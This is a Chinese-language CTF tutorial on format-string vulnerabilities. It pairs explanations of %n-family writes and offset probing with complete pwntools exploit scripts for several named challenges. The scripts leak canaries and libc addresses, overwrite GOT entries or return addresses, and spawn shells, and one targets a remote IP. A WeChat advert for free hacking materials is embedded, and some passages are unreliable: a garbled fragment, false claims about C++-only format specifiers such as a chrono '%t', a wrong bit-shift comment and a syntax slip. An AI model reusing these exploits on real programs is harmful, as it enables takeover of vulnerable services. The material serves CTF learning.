格式化字符串的基本漏洞點
格式化字符串漏洞是一種常見的安全漏洞類型。它利用了程序中對格式化字符串的處理不當,導致可以讀取和修改內存中的任意數據。
格式化字符串漏洞通常發生在使用 C 或類似語言編寫的程序中,其中 printf
、sprintf
、fprintf
等函數用於將數據格式化爲字符串並進行輸出。當這些函數的格式字符串參數(比如 %s
、%d
等)由用戶提供時,如果未正確地對用戶提供的輸入進行驗證和過濾,就可能存在格式化字符串漏洞。
攻擊者可以通過構造特定的格式化字符串,利用漏洞讀取和修改程序內存中的敏感數據。一些可能的攻擊方式包括:
-
讀取內存:通過在格式字符串中使用
%x
或%s
佔位符,可以泄露棧上和堆上的內存內容,例如函數返回地址、內部變量值等。 -
修改內存:通過在格式字符串中使用
%n
佔位符,可以將已輸出字符的數量寫入指定地址,從而實現對內存的修改。
常用任意改:%c和%n的配合使用
我們格式化字符串修改的是第一層指針中的內容 即我們只能寫a->b->c中c的內容
p64()+b'%nc'+'%A$n' #第A位棧中偏移位 向第A位的地址中改寫爲數字n的大小,一次n只能最多改4個字節大小的數據
在漏洞利用中,%n、%hn和%hh都可以用於將已經存儲在堆棧上的數值寫入內存中的任意位置。這些格式字符串的容量取決於它們所針對的底層數據類型 %n格式字符串用於將已經打印出來的字符數(而不是已經寫入輸出緩衝區的字符數)寫入指定地址。因此,它的容量取決於可控制的輸出大小,通常在4字節範圍內。 %h格式字符串將16位無符號整數寫入指定地址。由於其只能寫入兩個字節,因此其容量範圍爲0到65535。 %hhn格式字符串將8位無符號整數寫入指定地址。由於其只能寫入一個字節,因此其容量範圍爲0到255。 需要注意的是,使用這些格式字符串時,必須非常小心以確保正確性和安全性。在使用這些格式字符串進行漏洞利用時,一定要避免訪問未初始化或已釋放的內存,還要考慮操作系 統和編譯器的內存佈局和字節順序等問題。
不同版本的堆管理和棧偏移有可能不一樣c
-
aaaa%p..... 32位測輸入點偏移 aaaaaaaa%p...... 64位測輸入點偏移
-
特別注意(截斷函數\x00對payload的影響)
-
利用 fmtarg 測量某個棧上地址在棧上的偏移位置
-
8字節(64位)數據或者4字節(32位)數據佔一個偏移位
One_gadget 結合應用:
one_gadget在進行getshell ()前要先滿足寄存器的條件
另一種可能的方法:
如果能泄露出棧地址,就能夠像非棧上的格式化字符串那樣,將佈置的棧結構放在棧上然後劫持返回地址,就可以達到多次寫的效果。(即利用可以利用多次的格式化字符串)
例題:國際賽final_ctf 2(同時讀寫加One_gadget):
解題步驟
首先我們直接先進行代碼審計如下圖:
我們發現了他的基本漏洞點爲棧上的格式化字符串
漏洞利用和需要注意的點
我們進行該漏洞點的利用:首先查看棧上狀況
我們在這裏需要同時一次讀寫機會利用棧上的格式化字符串任意讀寫
所以要考慮到截斷的問題所以要進行截斷的避免,我們調整payload在最後填入棧上的對應偏移的地址填爲size的bss地址進行格式化字符串改,改完之後效果如下:
最後再使用一次ubuntu20.04下的one_gadget設置即可getshell
【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:dctintin,備註 “開源中國” 獲取!】
① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC 漏洞分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)
注意這裏爲了滿足20.04下嚴苛的條件我們需要對寄存器進行設置
> pop_r12:0x40086c
> pop=0x040086c#pop了5個寄存器
> one_gadget_offset=[0xe3afe,0xe3b01,0xe3b04]#one_gadget libc版本查看可以利用的gadget
> one_gadget_addr=libc_base+one_gadget_offset[0]#20840
> #最後打one
> payload2=b'a'*(0x48)+p64(canary)+b'a'*8+p64(pop)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one_gadget_addr)#20 onegadgetliyong
> p.sendlineafter(b'affiliation: \n',payload2)#將寄存器賦空值滿足one_gadget的觸發條件
最後exp如下
from pwn import* #from LibcSearcher import * context(log_level='debug',arch='amd64',os='linux') choice=1 if choice == 1: p=process('./one-format-string') libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")#當前鏈接的libc版本 elf=ELF('./one-format-string') address=0x400780 gdb.attach(p,"finish\n b *address") sleep(1) size=0x601060 #14 payload=b'aaaaa'+b'%27$p|%23$p'+b'bbbbbb'+b'%256c'+b'%18$n'+p64(0x601060)#同時讀寫 #這裏的最後的size地址是爲了填到棧上相對應的偏移位置我們可以直接對其進行修改 p.sendlineafter(b'name: \n',payload) p.recvuntil("aaaaa") main_start_243=int(p.recv(14),16) libc_base = main_start_243 - 0xf3 - libc.symbols['__libc_start_main'] print("leak_addr",hex(main_start_243)) print("libc_base",hex(libc_base)) p.recvuntil(b'|') canary=int(p.recv(18),16) pop_r12:0x40086c print("canary",hex(canary)) pop=0x040086c#pop了5個寄存器 one_gadget_offset=[0xe3afe,0xe3b01,0xe3b04]#one_gadget libc版本查看可以利用的gadget one_gadget_addr=libc_base+one_gadget_offset[0]#20840 #最後打one payload2=b'a'*(0x48)+p64(canary)+b'a'*8+p64(pop)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one_gadget_addr)#20 onegadgetliyong p.sendlineafter(b'affiliation: \n',payload2)#將寄存器賦空值滿足one_gadget的觸發條件 p.interactive()
這裏需要注意的點:
是我們要考慮printf對\X00
字符串的截斷
正確的payload.只有這一種形式:payload=b'aaaaaa'+b'%20$p %23$p'+b'bbbbbb'+b'%256c'+b'%18$n'+p64(0x601060)
因爲x00的存在,所以Printf:無法使用到後面的%16$n
補充:c語言下的所有格式化識別符
C語言中的格式化字符是用於格式化輸出的佔位符,常用於printf等函數中。下面是常用的格式化字符及其含義:
%d:輸出有符號整數。
%u:輸出無符號整數。
%f:輸出浮點數。
%c:輸出單個字符。
%s:輸出字符串。
%p:輸出指針的地址。
%e:用科學計數法輸出浮點數。
%E:用科學計數法輸出浮點數,並將e大寫。
%g:輸出浮點數,自動選擇%f或%e格式。
%G:輸出浮點數,自動選擇%f或%E格式,並將E大寫。
%x:輸出無符號整數的十六進制數。
%o:輸出無符號整數的八進制數。
%X:輸出無符號整數的十六進制數,並將字母ABCDEF大寫。
%i:輸出有符號整數。
%n:輸出已經輸出的字符數。
%%:輸出%字符本身。
需要注意的是,這些格式化字符可以與其它字符組合使用,例如%d和%10d分別表示輸出有符號整數和輸出寬度爲10個字符的有符號整數。
C++ 中的格式化字符串的識別符與 C 語言是基本相同的,也包括上述提到的常用的格式化字符。不過 C++ 中還增加了一些額外的格式化字符串識別符,例如:
%a:輸出十六進制浮點數,包括小數點和指數(如果存在)。
%A:輸出十六進制浮點數,包括小數點和指數(如果存在),並將X和P大寫。
%lld:輸出長長整數。
%zu:輸出size_t類型的無符號整數。
%n:和 C 語言相同,輸出已經輸出rra=[S字符數。
%t:在格式化字符串中使用std::chrono::time_point類型的時間。
需要注意的是,不同編譯器可能對 C 和 C++ 的格式化字符串識別符實現略有不同,所以在使用時需要根據實際情況進行調整。
ctf中不同考察點的例題以及思路解析:
[虎符CTF 2022]babygame(格式化字符串和隨機數繞過)
保護全開,我們進行靜態代碼審計
通過觀察他的canary可以看到他在棧中的位置
思路: 1.先通過回顯泄露canary和棧地址
注意但是我們知道canary的上面就是seed,所以此時的seed已經被我們覆蓋爲0x6161616161616161了
2.通過修改函數的返回地址的最後兩個字節再次進行一次格式化字符串利用 3.打one_gad
exp如下:
from pwn import * from LibcSearcher import * context.log_level = 'debug' context.arch = 'amd64' io = process('./babygame') io.sendlineafter(b'Please input your name:', b'1234567890' * 26 + b'aaaaa') io.recvuntil(b'Hello, ') io.recv(260 + 12) stack_addr = u64(io.recv(6) + b'\x00\x00') srand = 0x30393837 answer = [1, 2, 2, 1, 1, 1, 1, 2, 0, 0, 2, 2, 2, 1, 1, 1, 2, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 2, 2, 1, 2, 2, 2, 1, 1, 0, 1, 2, 1, 2, 1, 0, 1, 2, 1, 2, 0, 0, 1, 1, 2, 0, 1, 2, 1, 1, 2, 0, 2, 1, 0, 2, 2, 2, 2, 0, 2, 1, 1, 0, 2, 1, 1, 2, 0, 2, 0, 1, 1, 2, 1, 1, 1, 2, 2, 0, 0, 2, 2, 2, 2, 2, 0, 1, 0, 0, 1, 2, 0, 2] for i in range(100): try: io.sendlineafter(b'round', str(answer[i]).encode()) except EOFError: print("Failed in " + str(i)) exit(0) io.sendlineafter(b'Good luck to you.', b'%62c%8$hhna%79$p' + p64(stack_addr - 0x218)) io.recvuntil(b'0x') libc_addr = int(io.recv(12).decode(), 16) print(hex(libc_addr)) libc_addr -= 243 Libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6') base = libc_addr - Libc.symbols['__libc_start_main'] libc_system_addr = Libc.symbols['system'] mem_system_addr = base + libc_system_addr print(hex(stack_addr - 0x218)) one_gadget = [0xE3B2E + base, 0xE3B31 + base, 0xE3B34 + base] payload = fmtstr_payload(6, {stack_addr - 0x218: one_gadget[1]}) io.sendlineafter(b'Good luck to you.', payload) io.interactive()
與malloc和free相關的格式化字符串漏洞
alloca函數(在棧上分配空間)
#include <stdio.h> #include <stdlib.h> #include <alloca.h> int open_file (const char *dir, const char *file) { char *name = (char *) alloca (strlen (dir) + strlen (file) + 2); strcpy (name, dir); strcat (name, "/"); strcat (name, file); return open (name, O_RDONLY); }
這個函數用alloca函數在棧上分配了一個足夠存儲兩個參數字符串拼接後的文件名的空間,並返回打開該文件的文件描述符或-1表示失敗。當函數返回時,name指向的內存會自動釋放。
alloca在棧上分配內存,而malloc在堆上分配內存。alloca分配的內存在函數返回時自動釋放,不需要手動free,這樣可以避免忘記釋放或重複釋放的問題。
alloca分配內存的速度很快,而且幾乎不浪費空間。alloca也不會導致內存碎片化,因爲它沒有爲不同大小的塊分配單獨的池。
alloca可以用來創建變長數組,在C99之前沒有這個功能。
當然,alloca也有一些缺點和限制,比如:
alloca分配的內存不能跨函數使用,因爲它會在函數返回時被釋放。
alloca可能導致棧溢出,因爲棧空間有限(通常只有幾KB),而堆空間遠大於棧空間。
alloca不是標準C函數,它可能在不同的平臺和編譯器上有不同的行爲或實現方式
利用思路:
printf函數在輸出較多內容時,會調用malloc函數分配緩衝區,輸出結束之後會調用free函數釋放申請的緩衝區內存。同樣的scanf函數也會調用malloc。
[SDCTF 2022]Oil Spill(在棧上輸入的動化格式化字符串漏洞隨意寫)
此工具的下載地址:
Linux Pwn - pwntools fmtstr模塊 | lzeroyuee’s blog fmtstr_payload用於自動生成格式化字符串payload
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') → str
-
offset:控制的第一個格式化程序的偏移
-
writes:爲字典,用於往addr中寫入value,例如**{addr:** value, addr2: value2}
-
numbwritten:已經由printf寫入的字節數
-
write_size:必須是byte/short/int其中之一,指定按什麼數據寬度寫(%hhn/%hn/%n)
exp如下
from pwn import * from ctypes import * from LibcSearcher import * def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): p.recvuntil(a) def inter(): p.interactive() def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) context(os='linux', arch='amd64', log_level='debug') #p = process('./pwn') p = remote('43.142.108.3', 28194) elf = ELF('./pwn') libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so') def ga(): rl(b'0x') return int(p.recvuntil(b',')[:-1], 16) puts = ga() printf = ga() stack = ga() libc_base = puts - libc.sym['puts'] one_gadget = libc_base + 0x10a2fc system = libc_base + libc.sym['system'] #gdb.attach(p, 'b *0x400738') sla(b'it?\n', fmtstr_payload(8, {elf.got['puts']:system, 0x600C80:b'/bin/sh\x00'})) #pause() inter() print(hex(puts), hex(printf), hex(stack))
非棧上的格式化字符串漏洞
這裏先貼兩張大體的利用思路如下:
間接寫地址:間接向棧上某個地址套入地址的值
當程序mian返回時就會執行libc_start_main位置開始及其往下的gadget
1.可以改got表的()
因爲只能寫第一層指針,所以我們要進行跳板式的寫入(一般第一步用有三層指針偏移地址處進行操作),多次間接寫入,找與目標改地址很像的位置作爲二級跳板可以少改寫幾位
注意事項:
1.0要改三個或者四個字節的時候我們可以通過多個跳板先改高位再改低位
1.01如果 system 中的數據是 0x7fffffffffff320a,那麼執行 (system>>16)&0xff 將得到以下結果:
(system >> 16) = 0x7fff_ffff_ffff 0xff = 0x0000_00ff --------------------------- 0x0000_00ff
因此,這個表達式的結果是十進制數值 255 或十六進制數值 0xff。
1.02一次格式化字符串改寫兩次的時候要注意第一次輸出的字符數對第二次的影響(因此一次輸入的時候要減去第一次已經打印的字符數)
1.03與運算0xff是保留最低一位數據以此類推
疑問:
1.1爲什麼要用next來遍歷接收/bin/sh?
使用 next() 方法是因爲 pwntools 庫的 search() 函數返回的是一個生成器(generator)對象,而非列表。生成器是一種特殊的迭代器,它不會在內存中保存所有元素的值,而是根據需要逐個生成每個值。這種方式可以避免佔用太多內存,特別是在搜索大型 ELF 文件時。 由於生成器只能使用一次,因此必須通過調用 next() 方法來逐個獲取其中的元素。在本例中,我們只需要獲取第一個匹配結果的地址,因此使用 next() 可以方便地獲得該地址,並將其與 libc_base 相加得到最終的 sh_addr 值。 如果直接調用 libc.search("/bin/sh"),則無法直接獲取匹配結果的地址,而且每次調用都會重新搜索整個 ELF 文件。因此,使用 next(libc.search("/bin/sh")) 可以更方便地獲取地址,並避免重複搜索文件的開銷
1.3如何更改寫入的位置?
修改got表的時候:
另外找一個與要修改的got地址相差不大的棧中所存的地方,分別記爲A,B,然後第一次佈置到A處修改got表X字節,第二次佈置到B處修改got表+X字節處的地址,如圖所示
第一次修改前
第一次修改後
第二次修改前
第二次修改後
log.success("one_gadget:"+hex(one_gadget_addr)) yes1=str((stack_tar)&0xffff) yes2=str((one_gadget_addr)&0xffff) yes3=str((stack_tar+2)&0xffff) yes4=str((one_gadget_addr>>16)&0xff) pay='%{}c%{}$hn'.format(yes1,10) pay2='%{}c%{}$hn'.format(yes2,39) pay3='%{}c%{}$hn'.format(yes3,10) pay4='%{}c%{}$hhn'.format(yes4,39)
或者利用一個地址進行多次修改也可以原理跟那個一樣
1.2(1)例:
0x7fffffaaa093與0xff處理則只剩最第一字節0x93
不可以修改got表的(開了full ASRL)
思路:改寫_libc_main_start成one_gadget(_libc_main_start是main函數退出後會從這裏開始執行)
2023鐵人三項的fmstr(知識點用到的跟上面一樣)
from pwn import * from ctypes import * #from LibcSearcher import * context(os='linux', arch='amd64', log_level='debug') def s(a) : p.send(a) def sa(a, b) : p.sendafter(a, b) def sl(a) : p.sendline(a) def sla(a, b) : p.sendlineafter(a, b) def r() : return p.recv() def pr() : print(p.recv()) def rl(a) : return p.recvuntil(a) def inter() : p.interactive() def debug(): gdb.attach(p) pause() def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_shell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) p = process('./fmtstr') #p = remote('1.14.71.254', 28966) elf = ELF('./fmtstr') libc= ELF('/home/pwngo/libc-2.33.so') sla(b'first.\n',b'aaaa') #debug() sla(b'password\n',b'aa%16$p..%9$pbb%10$p') p.recvuntil(b'aa') elf_base = int(p.recv(14),16)-0x1140 pop_r12_r15=elf_base+0x13fc p.recvuntil(b'..') main_start_213=int(p.recv(14),16) print(hex(main_start_213)) libc_base = main_start_213 - 0xD5(F3或者F0) - libc.symbols['__libc_start_main'] p.recvuntil(b'bb') stack=int(p.recv(14),16) log.success("stack:"+hex(stack)) log.success("elf_base:"+hex(elf_base)) log.success("libc_base:"+hex(libc_base)) print(hex(pop_r12_r15)) system = libc_base + libc.sym['system'] log.success("shell:"+hex(system)) # sla(b'',"aaa") stack_tar=stack-0xf0 #泄露的棧是三級跳板處的棧地址,我們以此爲中心根據偏移找不同的棧地址 log.success("stack_tar:"+hex(stack_tar)) #debug() #下面是根據_libc_main_start改寫成one_gadget的腳本 one_gadget_offset=[0xde78c,0xde78f,0xde792]#one_gadget libc版本查看可以利用的gadget one_gadget_addr=libc_base+one_gadget_offset[1] log.success("one_gadget:"+hex(one_gadget_addr)) yes1=str((stack_tar)&0xffff)) yes2=str((one_gadget_addr)&0xffff)#0xffff指的是保留末兩位字節,詳細講解看上面的解釋 yes3=str((stack_tar+2)&0xffff) yes4=str((one_gadget_addr>>16)&0xff)#右移2位導致&0xff之後取到倒數第三個字節 pay='%{}c%{}$hn'.format(yes1,10) pay2='%{}c%{}$hn'.format(yes2,39) pay3='%{}c%{}$hn'.format(yes3,10)#python中的佔位符 pay4='%{}c%{}$hhn'.format(yes4,39) sla(b'again\n',pay) sla(b'again\n',pay2) sla(b'again\n',pay3) sla(b'again\n',pay4) p.interactive()
(安洵)heap上格式化字符串並且不是改main函數ret返回地址
代碼審計
這個for循環說明了我們只是把ptr的字符存在棧上,而每次printf(ptr的時候都是一次格式化字符串)
ralloc函數(與堆操作相關)
realloc函數是C語言標準庫中的一個函數,用於重新分配內存塊的大小。它可以擴大或縮小一個已分配的內存塊,也可以用於在堆上分配新的內存塊。 realloc函數的定義如下:
void *realloc(void *ptr, size_t size);
其中,ptr是指向已分配內存塊的指針,size是新的內存塊大小。realloc函數返回一個指針,指向重新分配後的內存塊。 realloc函數的使用流程如下:
-
如果ptr爲NULL,則等價於調用malloc(size),即在堆上分配一個新的內存塊並返回指針。
-
如果size爲0,且ptr不爲NULL,則等價於調用free(ptr),即釋放ptr指向的內存塊,並返回NULL。
-
如果ptr和size都不爲NULL,則會重新分配ptr指向的內存塊的大小爲size,並返回指向重新分配後的內存塊的指針。如果重新分配後的內存塊大小比原來的大,那麼新分配的內存塊中的未初始化的部分將是不確定的。如果重新分配失敗,則返回NULL,原來的內存塊不會被釋放。
exp如下:
from pwn import * from struct import pack from ctypes import * import hashlib def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) context(os='linux', arch='amd64', log_level='debug') p = process('./harde_pwn') #p = remote('47.108.165.60', 42545) elf = ELF('./harde_pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') c_libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') sa(b'game!\n', p64(0)*4) c_libc.srand(0) for i in range(21): sla(b'input: \n', str((c_libc.rand() ^ 0x24) + 1)) sa(b'input your data ;)\n', b'%8$p%11$p%7$p') rl(b'0x') stack = int(p.recv(12), 16) rl(b'0x') libc_base = int(p.recv(12), 16) - 243-libc.symbols['__libc_start_main'] ret = stack - 8 ptr = stack - 0x18 rbp = stack - 0x10 rl(b'0x') heap_base = int(p.recv(12), 16) - 0x2a0 debug() one_gadget = libc_base + 0xebcf8 printf_ret = ptr - 0x10 print(' printf_ret -> ', hex(printf_ret)) print(' heap_base -> ', hex(heap_base)) print(' stack -> ', hex(stack)) print(' libc_base -> ', hex(libc_base)) for i in range(6): sa(b'input your data ;)\n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%28$hn\x00') sa(b'input your data ;)\n', b'%' + str((one_gadget >> i*8) & 0xff).encode() + b'c%41$hhn\x00') #rbp寫成存onegadget sa(b'input your data ;)\n', b'%' + str(printf_ret & 0xffff).encode() + b'c%28$hn\x00') sa(b'input your data ;)\n', b'%' + str(0xb1).encode() + b'c%41$hhn\x00') #改一次rbo inter()
技巧補充
改大地址:
利用不是在棧上的格式化字符串的時候我們都要明白一個原理:
當你對綠圈的格式化偏移進行修改時,真正被修改的是箭頭所指向的低地址處,這也是找跳板的意義
for i in range(6): sa(b'input your data ;)\n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%28$hn\x00') sa(b'input your data ;)\n', b'%' + str((one_gadget >> i*8) & 0xff).encode() + b'c%41$hhn\x00')
像上面一樣我們可以每改一次將rbp的地址加**某個數進行錯位改大數字,**跟異位僞造doublefree的fd頭有相同的思想
有可能可以再利用一次leava或者ret
我們看到rsp現在跟在rbp前3單位處,我們沒pop一次(ret)rsp的地址就會增加一個單位,當我們三次pop的時候我們的rsp就會跟rbp重合,從而getshell。